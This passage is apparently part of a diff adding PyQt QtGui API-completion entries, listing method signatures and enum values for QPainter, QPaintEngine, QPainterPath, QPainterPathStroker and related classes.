+QtGui.QPainter.CompositionMode.RasterOp_SourceAndNotDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotSourceOrDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_SourceOrNotDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_ClearDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_SetDestination?10 +QtGui.QPainter.CompositionMode.RasterOp_NotDestination?10 +QtGui.QPainter.RenderHint?10 +QtGui.QPainter.RenderHint.Antialiasing?10 +QtGui.QPainter.RenderHint.TextAntialiasing?10 +QtGui.QPainter.RenderHint.SmoothPixmapTransform?10 +QtGui.QPainter.RenderHint.HighQualityAntialiasing?10 +QtGui.QPainter.RenderHint.NonCosmeticDefaultPen?10 +QtGui.QPainter.RenderHint.Qt4CompatiblePainting?10 +QtGui.QPainter.RenderHint.LosslessImageRendering?10 +QtGui.QPainter?1() +QtGui.QPainter.__init__?1(self) +QtGui.QPainter?1(QPaintDevice) +QtGui.QPainter.__init__?1(self, QPaintDevice) +QtGui.QPainter.__enter__?4() -> object +QtGui.QPainter.__exit__?4(object, object, object) +QtGui.QPainter.device?4() -> QPaintDevice +QtGui.QPainter.begin?4(QPaintDevice) -> bool +QtGui.QPainter.end?4() -> bool +QtGui.QPainter.isActive?4() -> bool +QtGui.QPainter.setCompositionMode?4(QPainter.CompositionMode) +QtGui.QPainter.compositionMode?4() -> QPainter.CompositionMode +QtGui.QPainter.font?4() -> QFont +QtGui.QPainter.setFont?4(QFont) +QtGui.QPainter.fontMetrics?4() -> QFontMetrics +QtGui.QPainter.fontInfo?4() -> QFontInfo +QtGui.QPainter.setPen?4(QColor) +QtGui.QPainter.setPen?4(QPen) +QtGui.QPainter.setPen?4(Qt.PenStyle) +QtGui.QPainter.pen?4() -> QPen +QtGui.QPainter.setBrush?4(QBrush) +QtGui.QPainter.setBrush?4(Qt.BrushStyle) +QtGui.QPainter.brush?4() -> QBrush +QtGui.QPainter.setBackgroundMode?4(Qt.BGMode) +QtGui.QPainter.backgroundMode?4() -> Qt.BGMode +QtGui.QPainter.brushOrigin?4() -> QPoint +QtGui.QPainter.setBrushOrigin?4(QPointF) +QtGui.QPainter.setBackground?4(QBrush) +QtGui.QPainter.background?4() -> QBrush +QtGui.QPainter.clipRegion?4() -> QRegion +QtGui.QPainter.clipPath?4() -> QPainterPath +QtGui.QPainter.setClipRect?4(QRectF, Qt.ClipOperation operation=Qt.ReplaceClip) +QtGui.QPainter.setClipRegion?4(QRegion, Qt.ClipOperation operation=Qt.ReplaceClip) +QtGui.QPainter.setClipPath?4(QPainterPath, Qt.ClipOperation operation=Qt.ReplaceClip) +QtGui.QPainter.setClipping?4(bool) +QtGui.QPainter.hasClipping?4() -> bool +QtGui.QPainter.save?4() +QtGui.QPainter.restore?4() +QtGui.QPainter.scale?4(float, float) +QtGui.QPainter.shear?4(float, float) +QtGui.QPainter.rotate?4(float) +QtGui.QPainter.translate?4(QPointF) +QtGui.QPainter.window?4() -> QRect +QtGui.QPainter.setWindow?4(QRect) +QtGui.QPainter.viewport?4() -> QRect +QtGui.QPainter.setViewport?4(QRect) +QtGui.QPainter.setViewTransformEnabled?4(bool) +QtGui.QPainter.viewTransformEnabled?4() -> bool +QtGui.QPainter.strokePath?4(QPainterPath, QPen) +QtGui.QPainter.fillPath?4(QPainterPath, QBrush) +QtGui.QPainter.drawPath?4(QPainterPath) +QtGui.QPainter.drawPoints?4(QPointF, ...) +QtGui.QPainter.drawPoints?4(QPolygonF) +QtGui.QPainter.drawPoints?4(QPoint, ...) +QtGui.QPainter.drawPoints?4(QPolygon) +QtGui.QPainter.drawLines?4(QLineF, ...) +QtGui.QPainter.drawLines?4(unknown-type) +QtGui.QPainter.drawLines?4(QPointF, ...) +QtGui.QPainter.drawLines?4(unknown-type) +QtGui.QPainter.drawLines?4(QLine, ...) +QtGui.QPainter.drawLines?4(unknown-type) +QtGui.QPainter.drawLines?4(QPoint, ...) +QtGui.QPainter.drawLines?4(unknown-type) +QtGui.QPainter.drawRects?4(QRectF, ...) +QtGui.QPainter.drawRects?4(unknown-type) +QtGui.QPainter.drawRects?4(QRect, ...) +QtGui.QPainter.drawRects?4(unknown-type) +QtGui.QPainter.drawEllipse?4(QRectF) +QtGui.QPainter.drawEllipse?4(QRect) +QtGui.QPainter.drawPolyline?4(QPointF, ...) +QtGui.QPainter.drawPolyline?4(QPolygonF) +QtGui.QPainter.drawPolyline?4(QPoint, ...) +QtGui.QPainter.drawPolyline?4(QPolygon) +QtGui.QPainter.drawPolygon?4(QPointF, ...) +QtGui.QPainter.drawPolygon?4(QPolygonF, Qt.FillRule fillRule=Qt.OddEvenFill) +QtGui.QPainter.drawPolygon?4(QPoint, ...) +QtGui.QPainter.drawPolygon?4(QPolygon, Qt.FillRule fillRule=Qt.OddEvenFill) +QtGui.QPainter.drawConvexPolygon?4(QPointF, ...) +QtGui.QPainter.drawConvexPolygon?4(QPolygonF) +QtGui.QPainter.drawConvexPolygon?4(QPoint, ...) +QtGui.QPainter.drawConvexPolygon?4(QPolygon) +QtGui.QPainter.drawArc?4(QRectF, int, int) +QtGui.QPainter.drawPie?4(QRectF, int, int) +QtGui.QPainter.drawChord?4(QRectF, int, int) +QtGui.QPainter.drawTiledPixmap?4(QRectF, QPixmap, QPointF pos=QPointF()) +QtGui.QPainter.drawPicture?4(QPointF, QPicture) +QtGui.QPainter.drawPixmap?4(QRectF, QPixmap, QRectF) +QtGui.QPainter.setLayoutDirection?4(Qt.LayoutDirection) +QtGui.QPainter.layoutDirection?4() -> Qt.LayoutDirection +QtGui.QPainter.drawText?4(QPointF, QString) +QtGui.QPainter.drawText?4(QRectF, int, QString) -> QRectF +QtGui.QPainter.drawText?4(QRect, int, QString) -> QRect +QtGui.QPainter.drawText?4(QRectF, QString, QTextOption option=QTextOption()) +QtGui.QPainter.boundingRect?4(QRectF, int, QString) -> QRectF +QtGui.QPainter.boundingRect?4(QRect, int, QString) -> QRect +QtGui.QPainter.boundingRect?4(QRectF, QString, QTextOption option=QTextOption()) -> QRectF +QtGui.QPainter.fillRect?4(QRectF, QBrush) +QtGui.QPainter.fillRect?4(QRect, QBrush) +QtGui.QPainter.eraseRect?4(QRectF) +QtGui.QPainter.setRenderHint?4(QPainter.RenderHint, bool on=True) +QtGui.QPainter.renderHints?4() -> QPainter.RenderHints +QtGui.QPainter.setRenderHints?4(QPainter.RenderHints, bool on=True) +QtGui.QPainter.paintEngine?4() -> QPaintEngine +QtGui.QPainter.drawLine?4(QLineF) +QtGui.QPainter.drawLine?4(QLine) +QtGui.QPainter.drawLine?4(int, int, int, int) +QtGui.QPainter.drawLine?4(QPoint, QPoint) +QtGui.QPainter.drawLine?4(QPointF, QPointF) +QtGui.QPainter.drawRect?4(QRectF) +QtGui.QPainter.drawRect?4(int, int, int, int) +QtGui.QPainter.drawRect?4(QRect) +QtGui.QPainter.drawPoint?4(QPointF) +QtGui.QPainter.drawPoint?4(int, int) +QtGui.QPainter.drawPoint?4(QPoint) +QtGui.QPainter.drawEllipse?4(int, int, int, int) +QtGui.QPainter.drawArc?4(QRect, int, int) +QtGui.QPainter.drawArc?4(int, int, int, int, int, int) +QtGui.QPainter.drawPie?4(QRect, int, int) +QtGui.QPainter.drawPie?4(int, int, int, int, int, int) +QtGui.QPainter.drawChord?4(QRect, int, int) +QtGui.QPainter.drawChord?4(int, int, int, int, int, int) +QtGui.QPainter.setClipRect?4(int, int, int, int, Qt.ClipOperation operation=Qt.ReplaceClip) +QtGui.QPainter.setClipRect?4(QRect, Qt.ClipOperation operation=Qt.ReplaceClip) +QtGui.QPainter.eraseRect?4(QRect) +QtGui.QPainter.eraseRect?4(int, int, int, int) +QtGui.QPainter.fillRect?4(int, int, int, int, QBrush) +QtGui.QPainter.setBrushOrigin?4(int, int) +QtGui.QPainter.setBrushOrigin?4(QPoint) +QtGui.QPainter.drawTiledPixmap?4(QRect, QPixmap, QPoint pos=QPoint()) +QtGui.QPainter.drawTiledPixmap?4(int, int, int, int, QPixmap, int sx=0, int sy=0) +QtGui.QPainter.drawPixmap?4(QRect, QPixmap, QRect) +QtGui.QPainter.drawPixmap?4(QPointF, QPixmap) +QtGui.QPainter.drawPixmap?4(QPoint, QPixmap) +QtGui.QPainter.drawPixmap?4(QRect, QPixmap) +QtGui.QPainter.drawPixmap?4(int, int, QPixmap) +QtGui.QPainter.drawPixmap?4(int, int, int, int, QPixmap) +QtGui.QPainter.drawPixmap?4(int, int, int, int, QPixmap, int, int, int, int) +QtGui.QPainter.drawPixmap?4(int, int, QPixmap, int, int, int, int) +QtGui.QPainter.drawPixmap?4(QPointF, QPixmap, QRectF) +QtGui.QPainter.drawPixmap?4(QPoint, QPixmap, QRect) +QtGui.QPainter.drawImage?4(QRectF, QImage) +QtGui.QPainter.drawImage?4(QRect, QImage) +QtGui.QPainter.drawImage?4(QPointF, QImage) +QtGui.QPainter.drawImage?4(QPoint, QImage) +QtGui.QPainter.drawImage?4(int, int, QImage, int sx=0, int sy=0, int sw=-1, int sh=-1, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPainter.drawText?4(QPoint, QString) +QtGui.QPainter.drawText?4(int, int, int, int, int, QString) -> QRect +QtGui.QPainter.drawText?4(int, int, QString) +QtGui.QPainter.boundingRect?4(int, int, int, int, int, QString) -> QRect +QtGui.QPainter.opacity?4() -> float +QtGui.QPainter.setOpacity?4(float) +QtGui.QPainter.translate?4(float, float) +QtGui.QPainter.translate?4(QPoint) +QtGui.QPainter.setViewport?4(int, int, int, int) +QtGui.QPainter.setWindow?4(int, int, int, int) +QtGui.QPainter.worldMatrixEnabled?4() -> bool +QtGui.QPainter.setWorldMatrixEnabled?4(bool) +QtGui.QPainter.drawPicture?4(int, int, QPicture) +QtGui.QPainter.drawPicture?4(QPoint, QPicture) +QtGui.QPainter.setTransform?4(QTransform, bool combine=False) +QtGui.QPainter.transform?4() -> QTransform +QtGui.QPainter.deviceTransform?4() -> QTransform +QtGui.QPainter.resetTransform?4() +QtGui.QPainter.setWorldTransform?4(QTransform, bool combine=False) +QtGui.QPainter.worldTransform?4() -> QTransform +QtGui.QPainter.combinedTransform?4() -> QTransform +QtGui.QPainter.testRenderHint?4(QPainter.RenderHint) -> bool +QtGui.QPainter.drawRoundedRect?4(QRectF, float, float, Qt.SizeMode mode=Qt.AbsoluteSize) +QtGui.QPainter.drawRoundedRect?4(int, int, int, int, float, float, Qt.SizeMode mode=Qt.AbsoluteSize) +QtGui.QPainter.drawRoundedRect?4(QRect, float, float, Qt.SizeMode mode=Qt.AbsoluteSize) +QtGui.QPainter.drawEllipse?4(QPointF, float, float) +QtGui.QPainter.drawEllipse?4(QPoint, int, int) +QtGui.QPainter.fillRect?4(QRectF, QColor) +QtGui.QPainter.fillRect?4(QRect, QColor) +QtGui.QPainter.fillRect?4(int, int, int, int, QColor) +QtGui.QPainter.fillRect?4(int, int, int, int, Qt.GlobalColor) +QtGui.QPainter.fillRect?4(QRect, Qt.GlobalColor) +QtGui.QPainter.fillRect?4(QRectF, Qt.GlobalColor) +QtGui.QPainter.fillRect?4(int, int, int, int, Qt.BrushStyle) +QtGui.QPainter.fillRect?4(QRect, Qt.BrushStyle) +QtGui.QPainter.fillRect?4(QRectF, Qt.BrushStyle) +QtGui.QPainter.beginNativePainting?4() +QtGui.QPainter.endNativePainting?4() +QtGui.QPainter.drawPixmapFragments?4(list, QPixmap, QPainter.PixmapFragmentHints hints=0) +QtGui.QPainter.drawStaticText?4(QPointF, QStaticText) +QtGui.QPainter.drawStaticText?4(QPoint, QStaticText) +QtGui.QPainter.drawStaticText?4(int, int, QStaticText) +QtGui.QPainter.clipBoundingRect?4() -> QRectF +QtGui.QPainter.drawGlyphRun?4(QPointF, QGlyphRun) +QtGui.QPainter.fillRect?4(int, int, int, int, QGradient.Preset) +QtGui.QPainter.fillRect?4(QRect, QGradient.Preset) +QtGui.QPainter.fillRect?4(QRectF, QGradient.Preset) +QtGui.QPainter.drawImage?4(QRectF, QImage, QRectF, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPainter.drawImage?4(QRect, QImage, QRect, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPainter.drawImage?4(QPointF, QImage, QRectF, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPainter.drawImage?4(QPoint, QImage, QRect, Qt.ImageConversionFlags flags=Qt.ImageConversionFlag.AutoColor) +QtGui.QPainter.RenderHints?1() +QtGui.QPainter.RenderHints.__init__?1(self) +QtGui.QPainter.RenderHints?1(int) +QtGui.QPainter.RenderHints.__init__?1(self, int) +QtGui.QPainter.RenderHints?1(QPainter.RenderHints) +QtGui.QPainter.RenderHints.__init__?1(self, QPainter.RenderHints) +QtGui.QPainter.PixmapFragment.height?7 +QtGui.QPainter.PixmapFragment.opacity?7 +QtGui.QPainter.PixmapFragment.rotation?7 +QtGui.QPainter.PixmapFragment.scaleX?7 +QtGui.QPainter.PixmapFragment.scaleY?7 +QtGui.QPainter.PixmapFragment.sourceLeft?7 +QtGui.QPainter.PixmapFragment.sourceTop?7 +QtGui.QPainter.PixmapFragment.width?7 +QtGui.QPainter.PixmapFragment.x?7 +QtGui.QPainter.PixmapFragment.y?7 +QtGui.QPainter.PixmapFragment?1() +QtGui.QPainter.PixmapFragment.__init__?1(self) +QtGui.QPainter.PixmapFragment?1(QPainter.PixmapFragment) +QtGui.QPainter.PixmapFragment.__init__?1(self, QPainter.PixmapFragment) +QtGui.QPainter.PixmapFragment.create?4(QPointF, QRectF, float scaleX=1, float scaleY=1, float rotation=0, float opacity=1) -> QPainter.PixmapFragment +QtGui.QPainter.PixmapFragmentHints?1() +QtGui.QPainter.PixmapFragmentHints.__init__?1(self) +QtGui.QPainter.PixmapFragmentHints?1(int) +QtGui.QPainter.PixmapFragmentHints.__init__?1(self, int) +QtGui.QPainter.PixmapFragmentHints?1(QPainter.PixmapFragmentHints) +QtGui.QPainter.PixmapFragmentHints.__init__?1(self, QPainter.PixmapFragmentHints) +QtGui.QTextItem.RenderFlag?10 +QtGui.QTextItem.RenderFlag.RightToLeft?10 +QtGui.QTextItem.RenderFlag.Overline?10 +QtGui.QTextItem.RenderFlag.Underline?10 +QtGui.QTextItem.RenderFlag.StrikeOut?10 +QtGui.QTextItem?1() +QtGui.QTextItem.__init__?1(self) +QtGui.QTextItem?1(QTextItem) +QtGui.QTextItem.__init__?1(self, QTextItem) +QtGui.QTextItem.descent?4() -> float +QtGui.QTextItem.ascent?4() -> float +QtGui.QTextItem.width?4() -> float +QtGui.QTextItem.renderFlags?4() -> QTextItem.RenderFlags +QtGui.QTextItem.text?4() -> QString +QtGui.QTextItem.font?4() -> QFont +QtGui.QTextItem.RenderFlags?1() +QtGui.QTextItem.RenderFlags.__init__?1(self) +QtGui.QTextItem.RenderFlags?1(int) +QtGui.QTextItem.RenderFlags.__init__?1(self, int) +QtGui.QTextItem.RenderFlags?1(QTextItem.RenderFlags) +QtGui.QTextItem.RenderFlags.__init__?1(self, QTextItem.RenderFlags) +QtGui.QPaintEngine.Type?10 +QtGui.QPaintEngine.Type.X11?10 +QtGui.QPaintEngine.Type.Windows?10 +QtGui.QPaintEngine.Type.QuickDraw?10 +QtGui.QPaintEngine.Type.CoreGraphics?10 +QtGui.QPaintEngine.Type.MacPrinter?10 +QtGui.QPaintEngine.Type.QWindowSystem?10 +QtGui.QPaintEngine.Type.PostScript?10 +QtGui.QPaintEngine.Type.OpenGL?10 +QtGui.QPaintEngine.Type.Picture?10 +QtGui.QPaintEngine.Type.SVG?10 +QtGui.QPaintEngine.Type.Raster?10 +QtGui.QPaintEngine.Type.Direct3D?10 +QtGui.QPaintEngine.Type.Pdf?10 +QtGui.QPaintEngine.Type.OpenVG?10 +QtGui.QPaintEngine.Type.OpenGL2?10 +QtGui.QPaintEngine.Type.PaintBuffer?10 +QtGui.QPaintEngine.Type.Blitter?10 +QtGui.QPaintEngine.Type.Direct2D?10 +QtGui.QPaintEngine.Type.User?10 +QtGui.QPaintEngine.Type.MaxUser?10 +QtGui.QPaintEngine.PolygonDrawMode?10 +QtGui.QPaintEngine.PolygonDrawMode.OddEvenMode?10 +QtGui.QPaintEngine.PolygonDrawMode.WindingMode?10 +QtGui.QPaintEngine.PolygonDrawMode.ConvexMode?10 +QtGui.QPaintEngine.PolygonDrawMode.PolylineMode?10 +QtGui.QPaintEngine.DirtyFlag?10 +QtGui.QPaintEngine.DirtyFlag.DirtyPen?10 +QtGui.QPaintEngine.DirtyFlag.DirtyBrush?10 +QtGui.QPaintEngine.DirtyFlag.DirtyBrushOrigin?10 +QtGui.QPaintEngine.DirtyFlag.DirtyFont?10 +QtGui.QPaintEngine.DirtyFlag.DirtyBackground?10 +QtGui.QPaintEngine.DirtyFlag.DirtyBackgroundMode?10 +QtGui.QPaintEngine.DirtyFlag.DirtyTransform?10 +QtGui.QPaintEngine.DirtyFlag.DirtyClipRegion?10 +QtGui.QPaintEngine.DirtyFlag.DirtyClipPath?10 +QtGui.QPaintEngine.DirtyFlag.DirtyHints?10 +QtGui.QPaintEngine.DirtyFlag.DirtyCompositionMode?10 +QtGui.QPaintEngine.DirtyFlag.DirtyClipEnabled?10 +QtGui.QPaintEngine.DirtyFlag.DirtyOpacity?10 +QtGui.QPaintEngine.DirtyFlag.AllDirty?10 +QtGui.QPaintEngine.PaintEngineFeature?10 +QtGui.QPaintEngine.PaintEngineFeature.PrimitiveTransform?10 +QtGui.QPaintEngine.PaintEngineFeature.PatternTransform?10 +QtGui.QPaintEngine.PaintEngineFeature.PixmapTransform?10 +QtGui.QPaintEngine.PaintEngineFeature.PatternBrush?10 +QtGui.QPaintEngine.PaintEngineFeature.LinearGradientFill?10 +QtGui.QPaintEngine.PaintEngineFeature.RadialGradientFill?10 +QtGui.QPaintEngine.PaintEngineFeature.ConicalGradientFill?10 +QtGui.QPaintEngine.PaintEngineFeature.AlphaBlend?10 +QtGui.QPaintEngine.PaintEngineFeature.PorterDuff?10 +QtGui.QPaintEngine.PaintEngineFeature.PainterPaths?10 +QtGui.QPaintEngine.PaintEngineFeature.Antialiasing?10 +QtGui.QPaintEngine.PaintEngineFeature.BrushStroke?10 +QtGui.QPaintEngine.PaintEngineFeature.ConstantOpacity?10 +QtGui.QPaintEngine.PaintEngineFeature.MaskedBrush?10 +QtGui.QPaintEngine.PaintEngineFeature.PaintOutsidePaintEvent?10 +QtGui.QPaintEngine.PaintEngineFeature.PerspectiveTransform?10 +QtGui.QPaintEngine.PaintEngineFeature.BlendModes?10 +QtGui.QPaintEngine.PaintEngineFeature.ObjectBoundingModeGradients?10 +QtGui.QPaintEngine.PaintEngineFeature.RasterOpModes?10 +QtGui.QPaintEngine.PaintEngineFeature.AllFeatures?10 +QtGui.QPaintEngine?1(QPaintEngine.PaintEngineFeatures features=QPaintEngine.PaintEngineFeatures()) +QtGui.QPaintEngine.__init__?1(self, QPaintEngine.PaintEngineFeatures features=QPaintEngine.PaintEngineFeatures()) +QtGui.QPaintEngine.isActive?4() -> bool +QtGui.QPaintEngine.setActive?4(bool) +QtGui.QPaintEngine.begin?4(QPaintDevice) -> bool +QtGui.QPaintEngine.end?4() -> bool +QtGui.QPaintEngine.updateState?4(QPaintEngineState) +QtGui.QPaintEngine.drawRects?4(QRect) +QtGui.QPaintEngine.drawRects?4(QRectF) +QtGui.QPaintEngine.drawLines?4(QLine) +QtGui.QPaintEngine.drawLines?4(QLineF) +QtGui.QPaintEngine.drawEllipse?4(QRectF) +QtGui.QPaintEngine.drawEllipse?4(QRect) +QtGui.QPaintEngine.drawPath?4(QPainterPath) +QtGui.QPaintEngine.drawPoints?4(QPointF) +QtGui.QPaintEngine.drawPoints?4(QPoint) +QtGui.QPaintEngine.drawPolygon?4(QPointF, QPaintEngine.PolygonDrawMode) +QtGui.QPaintEngine.drawPolygon?4(QPoint, QPaintEngine.PolygonDrawMode) +QtGui.QPaintEngine.drawPixmap?4(QRectF, QPixmap, QRectF) +QtGui.QPaintEngine.drawTextItem?4(QPointF, QTextItem) +QtGui.QPaintEngine.drawTiledPixmap?4(QRectF, QPixmap, QPointF) +QtGui.QPaintEngine.drawImage?4(QRectF, QImage, QRectF, Qt.ImageConversionFlags flags=Qt.AutoColor) +QtGui.QPaintEngine.setPaintDevice?4(QPaintDevice) +QtGui.QPaintEngine.paintDevice?4() -> QPaintDevice +QtGui.QPaintEngine.type?4() -> QPaintEngine.Type +QtGui.QPaintEngine.painter?4() -> QPainter +QtGui.QPaintEngine.hasFeature?4(QPaintEngine.PaintEngineFeatures) -> bool +QtGui.QPaintEngine.PaintEngineFeatures?1() +QtGui.QPaintEngine.PaintEngineFeatures.__init__?1(self) +QtGui.QPaintEngine.PaintEngineFeatures?1(int) +QtGui.QPaintEngine.PaintEngineFeatures.__init__?1(self, int) +QtGui.QPaintEngine.PaintEngineFeatures?1(QPaintEngine.PaintEngineFeatures) +QtGui.QPaintEngine.PaintEngineFeatures.__init__?1(self, QPaintEngine.PaintEngineFeatures) +QtGui.QPaintEngine.DirtyFlags?1() +QtGui.QPaintEngine.DirtyFlags.__init__?1(self) +QtGui.QPaintEngine.DirtyFlags?1(int) +QtGui.QPaintEngine.DirtyFlags.__init__?1(self, int) +QtGui.QPaintEngine.DirtyFlags?1(QPaintEngine.DirtyFlags) +QtGui.QPaintEngine.DirtyFlags.__init__?1(self, QPaintEngine.DirtyFlags) +QtGui.QPaintEngineState?1() +QtGui.QPaintEngineState.__init__?1(self) +QtGui.QPaintEngineState?1(QPaintEngineState) +QtGui.QPaintEngineState.__init__?1(self, QPaintEngineState) +QtGui.QPaintEngineState.state?4() -> QPaintEngine.DirtyFlags +QtGui.QPaintEngineState.pen?4() -> QPen +QtGui.QPaintEngineState.brush?4() -> QBrush +QtGui.QPaintEngineState.brushOrigin?4() -> QPointF +QtGui.QPaintEngineState.backgroundBrush?4() -> QBrush +QtGui.QPaintEngineState.backgroundMode?4() -> Qt.BGMode +QtGui.QPaintEngineState.font?4() -> QFont +QtGui.QPaintEngineState.opacity?4() -> float +QtGui.QPaintEngineState.clipOperation?4() -> Qt.ClipOperation +QtGui.QPaintEngineState.clipRegion?4() -> QRegion +QtGui.QPaintEngineState.clipPath?4() -> QPainterPath +QtGui.QPaintEngineState.isClipEnabled?4() -> bool +QtGui.QPaintEngineState.renderHints?4() -> QPainter.RenderHints +QtGui.QPaintEngineState.compositionMode?4() -> QPainter.CompositionMode +QtGui.QPaintEngineState.painter?4() -> QPainter +QtGui.QPaintEngineState.transform?4() -> QTransform +QtGui.QPaintEngineState.brushNeedsResolving?4() -> bool +QtGui.QPaintEngineState.penNeedsResolving?4() -> bool +QtGui.QPainterPath.ElementType?10 +QtGui.QPainterPath.ElementType.MoveToElement?10 +QtGui.QPainterPath.ElementType.LineToElement?10 +QtGui.QPainterPath.ElementType.CurveToElement?10 +QtGui.QPainterPath.ElementType.CurveToDataElement?10 +QtGui.QPainterPath?1() +QtGui.QPainterPath.__init__?1(self) +QtGui.QPainterPath?1(QPointF) +QtGui.QPainterPath.__init__?1(self, QPointF) +QtGui.QPainterPath?1(QPainterPath) +QtGui.QPainterPath.__init__?1(self, QPainterPath) +QtGui.QPainterPath.closeSubpath?4() +QtGui.QPainterPath.moveTo?4(QPointF) +QtGui.QPainterPath.lineTo?4(QPointF) +QtGui.QPainterPath.arcTo?4(QRectF, float, float) +QtGui.QPainterPath.cubicTo?4(QPointF, QPointF, QPointF) +QtGui.QPainterPath.quadTo?4(QPointF, QPointF) +QtGui.QPainterPath.currentPosition?4() -> QPointF +QtGui.QPainterPath.addRect?4(QRectF) +QtGui.QPainterPath.addEllipse?4(QRectF) +QtGui.QPainterPath.addPolygon?4(QPolygonF) +QtGui.QPainterPath.addText?4(QPointF, QFont, QString) +QtGui.QPainterPath.addPath?4(QPainterPath) +QtGui.QPainterPath.addRegion?4(QRegion) +QtGui.QPainterPath.connectPath?4(QPainterPath) +QtGui.QPainterPath.contains?4(QPointF) -> bool +QtGui.QPainterPath.contains?4(QRectF) -> bool +QtGui.QPainterPath.intersects?4(QRectF) -> bool +QtGui.QPainterPath.boundingRect?4() -> QRectF +QtGui.QPainterPath.controlPointRect?4() -> QRectF +QtGui.QPainterPath.fillRule?4() -> Qt.FillRule +QtGui.QPainterPath.setFillRule?4(Qt.FillRule) +QtGui.QPainterPath.toReversed?4() -> QPainterPath +QtGui.QPainterPath.toSubpathPolygons?4() -> unknown-type +QtGui.QPainterPath.toFillPolygons?4() -> unknown-type +QtGui.QPainterPath.toFillPolygon?4() -> QPolygonF +QtGui.QPainterPath.moveTo?4(float, float) +QtGui.QPainterPath.arcMoveTo?4(QRectF, float) +QtGui.QPainterPath.arcMoveTo?4(float, float, float, float, float) +QtGui.QPainterPath.arcTo?4(float, float, float, float, float, float) +QtGui.QPainterPath.lineTo?4(float, float) +QtGui.QPainterPath.cubicTo?4(float, float, float, float, float, float) +QtGui.QPainterPath.quadTo?4(float, float, float, float) +QtGui.QPainterPath.addEllipse?4(float, float, float, float) +QtGui.QPainterPath.addRect?4(float, float, float, float) +QtGui.QPainterPath.addText?4(float, float, QFont, QString) +QtGui.QPainterPath.isEmpty?4() -> bool +QtGui.QPainterPath.elementCount?4() -> int +QtGui.QPainterPath.elementAt?4(int) -> QPainterPath.Element +QtGui.QPainterPath.setElementPositionAt?4(int, float, float) +QtGui.QPainterPath.toSubpathPolygons?4(QTransform) -> unknown-type +QtGui.QPainterPath.toFillPolygons?4(QTransform) -> unknown-type +QtGui.QPainterPath.toFillPolygon?4(QTransform) -> QPolygonF +QtGui.QPainterPath.length?4() -> float +QtGui.QPainterPath.percentAtLength?4(float) -> float +QtGui.QPainterPath.pointAtPercent?4(float) -> QPointF +QtGui.QPainterPath.angleAtPercent?4(float) -> float +QtGui.QPainterPath.slopeAtPercent?4(float) -> float +QtGui.QPainterPath.intersects?4(QPainterPath) -> bool +QtGui.QPainterPath.contains?4(QPainterPath) -> bool +QtGui.QPainterPath.united?4(QPainterPath) -> QPainterPath +QtGui.QPainterPath.intersected?4(QPainterPath) -> QPainterPath +QtGui.QPainterPath.subtracted?4(QPainterPath) -> QPainterPath +QtGui.QPainterPath.addRoundedRect?4(QRectF, float, float, Qt.SizeMode mode=Qt.AbsoluteSize) +QtGui.QPainterPath.addRoundedRect?4(float, float, float, float, float, float, Qt.SizeMode mode=Qt.AbsoluteSize) +QtGui.QPainterPath.addEllipse?4(QPointF, float, float) +QtGui.QPainterPath.simplified?4() -> QPainterPath +QtGui.QPainterPath.translate?4(float, float) +QtGui.QPainterPath.translated?4(float, float) -> QPainterPath +QtGui.QPainterPath.translate?4(QPointF) +QtGui.QPainterPath.translated?4(QPointF) -> QPainterPath +QtGui.QPainterPath.swap?4(QPainterPath) +QtGui.QPainterPath.clear?4() +QtGui.QPainterPath.reserve?4(int) +QtGui.QPainterPath.capacity?4() -> int +QtGui.QPainterPath.Element.type?7 +QtGui.QPainterPath.Element.x?7 +QtGui.QPainterPath.Element.y?7 +QtGui.QPainterPath.Element?1() +QtGui.QPainterPath.Element.__init__?1(self) +QtGui.QPainterPath.Element?1(QPainterPath.Element) +QtGui.QPainterPath.Element.__init__?1(self, QPainterPath.Element) +QtGui.QPainterPath.Element.isMoveTo?4() -> bool +QtGui.QPainterPath.Element.isLineTo?4() -> bool +QtGui.QPainterPath.Element.isCurveTo?4() -> bool +QtGui.QPainterPathStroker?1() +QtGui.QPainterPathStroker.__init__?1(self) +QtGui.QPainterPathStroker?1(QPen) +QtGui.QPainterPathStroker.__init__?1(self, QPen) +QtGui.QPainterPathStroker.setWidth?4(float) +QtGui.QPainterPathStroker.width?4() -> float +QtGui.QPainterPathStroker.setCapStyle?4(Qt.PenCapStyle) +QtGui.QPainterPathStroker.capStyle?4() -> Qt.PenCapStyle +QtGui.QPainterPathStroker.setJoinStyle?4(Qt.PenJoinStyle) +QtGui.QPainterPathStroker.joinStyle?4() -> Qt.PenJoinStyle +QtGui.QPainterPathStroker.setMiterLimit?4(float) +QtGui.QPainterPathStroker.miterLimit?4() -> float +QtGui.QPainterPathStroker.setCurveThreshold?4(float) +QtGui.QPainterPathStroker.curveThreshold?4() -> float +QtGui.QPainterPathStroker.setDashPattern?4(Qt.PenStyle) +QtGui.QPainterPathStroker.setDashPattern?4(unknown-type) +QtGui.QPainterPathStroker.dashPattern?4() -> unknown-type +QtGui.QPainterPathStroker.createStroke?4(QPainterPath) -> QPainterPath +QtGui.QPainterPathStroker.setDashOffset?4(float) +QtGui.QPainterPathStroker.dashOffset?4() -> float +QtGui.QPalette.ColorRole?10 +QtGui.QPalette.ColorRole.WindowText?10 +QtGui.QPalette.ColorRole.Foreground?10 +QtGui.QPalette.ColorRole.Button?10 +QtGui.QPalette.ColorRole.Light?10 +QtGui.QPalette.ColorRole.Midlight?10 +QtGui.QPalette.ColorRole.Dark?10 +QtGui.QPalette.ColorRole.Mid?10 +QtGui.QPalette.ColorRole.Text?10 +QtGui.QPalette.ColorRole.BrightText?10 +QtGui.QPalette.ColorRole.ButtonText?10 +QtGui.QPalette.ColorRole.Base?10 +QtGui.QPalette.ColorRole.Window?10 +QtGui.QPalette.ColorRole.Background?10 +QtGui.QPalette.ColorRole.Shadow?10 +QtGui.QPalette.ColorRole.Highlight?10 +QtGui.QPalette.ColorRole.HighlightedText?10 +QtGui.QPalette.ColorRole.Link?10 +QtGui.QPalette.ColorRole.LinkVisited?10 +QtGui.QPalette.ColorRole.AlternateBase?10 +QtGui.QPalette.ColorRole.ToolTipBase?10 +QtGui.QPalette.ColorRole.ToolTipText?10 +QtGui.QPalette.ColorRole.PlaceholderText?10 